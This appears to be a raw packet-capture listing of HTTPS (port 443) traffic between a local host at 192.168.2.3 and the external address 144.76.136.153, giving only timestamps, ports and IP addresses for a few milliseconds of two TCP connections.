Apr 21, 2023 01:03:01.033384085 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033390999 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033397913 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033425093 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033431053 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033442974 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033488035 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033535957 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033556938 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033679008 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033710003 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033745050 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033771038 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033802032 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033802032 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033859968 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033899069 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033941031 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033984900 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034002066 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034030914 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034075022 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034125090 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034157991 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034157991 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034174919 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034216881 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034260035 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034260988 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034305096 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034307957 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034312010 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034343004 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034347057 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034388065 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034401894 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034435987 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034460068 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034472942 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034477949 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034528971 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034568071 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034584045 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034616947 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034621000 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034657001 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034663916 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034698009 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034699917 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034708977 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034743071 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034763098 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034764051 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034806967 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034815073 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034821987 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034869909 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034899950 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.034920931 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.034960032 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035001040 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035042048 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035099030 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035124063 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035151005 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035162926 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035214901 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035243988 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035259962 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035311937 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035340071 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035382032 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035429955 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035449028 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035476923 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035542011 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035593987 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035626888 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035643101 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035686970 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035731077 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035772085 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035815001 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035830975 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035861015 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035903931 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035952091 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.035984039 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.035998106 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036036968 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036081076 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036122084 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036165953 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036180973 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036251068 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036254883 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036309004 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036336899 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036351919 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036408901 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036493063 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036544085 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036566973 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036590099 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036614895 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036638021 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036695004 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036746025 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036777020 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036792994 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036844969 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036849022 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036891937 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036910057 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036936045 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.036947966 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.036958933 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037000895 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037002087 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037019014 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037054062 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037062883 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037081957 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037132025 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037164927 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037180901 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037233114 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037276983 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037319899 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037358999 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037374973 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037408113 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037456036 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037509918 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037543058 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037558079 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037600994 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037659883 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037699938 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037740946 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037756920 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037787914 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037852049 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037904978 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037935019 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.037950039 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.037988901 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038053036 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038091898 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038135052 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038150072 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038180113 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038238049 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038288116 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038320065 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038322926 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038336039 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038371086 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038387060 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038418055 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038424969 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038425922 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038439989 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038470030 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038512945 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038522005 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038532972 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038563013 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038604975 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038655996 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038682938 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038697958 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038749933 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038806915 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038849115 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038891077 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038907051 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.038935900 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.038994074 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039042950 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039073944 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039088964 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039139986 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039192915 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039232969 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039278030 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039293051 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039323092 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039417982 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039477110 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039505005 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039520025 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039572001 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039678097 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039721012 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039766073 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039784908 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039815903 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.039870977 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039922953 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.039994001 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040019035 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040041924 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040054083 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040102005 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040138006 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040163040 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040190935 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040190935 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040263891 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040348053 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040364027 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040441990 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040535927 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040554047 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040621042 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040663004 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040710926 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040730953 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040759087 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040808916 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040859938 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040891886 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.040908098 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.040946007 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041018009 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041062117 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041101933 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041117907 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041146040 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041191101 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041241884 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041275024 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041290998 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041335106 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041389942 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041435003 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041496038 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041521072 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041547060 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041568995 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041616917 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041647911 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041665077 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041722059 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041748047 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041749954 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041770935 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041798115 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041812897 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041822910 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041845083 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041862011 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041891098 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041894913 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041930914 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041934013 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.041941881 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.041958094 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042006016 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042018890 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042092085 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042108059 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042150974 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042191029 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042234898 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042252064 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042280912 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042340040 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042356968 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042401075 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042404890 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042433023 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042452097 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042465925 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042473078 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042501926 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042505980 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042537928 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042573929 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042614937 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042654037 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042670012 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042701006 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042781115 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042830944 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042865038 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042880058 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042928934 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.042963982 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.042968988 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043010950 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043011904 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043049097 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043070078 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043076038 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043082952 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043116093 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043121099 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043142080 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043154955 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043205976 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043235064 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043251038 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043292999 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043332100 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043374062 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043416977 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043436050 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043464899 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043519974 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043525934 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043570995 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043571949 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043601990 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043621063 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043627977 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043634892 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043670893 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043684006 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043701887 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.043939114 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.043986082 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.044018984 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.044025898 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.044071913 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.044071913 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.044347048 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.044393063 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.044430017 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.044436932 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.044511080 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.045469999 CEST	443	49683	144.76.136.153	192.168.2.3
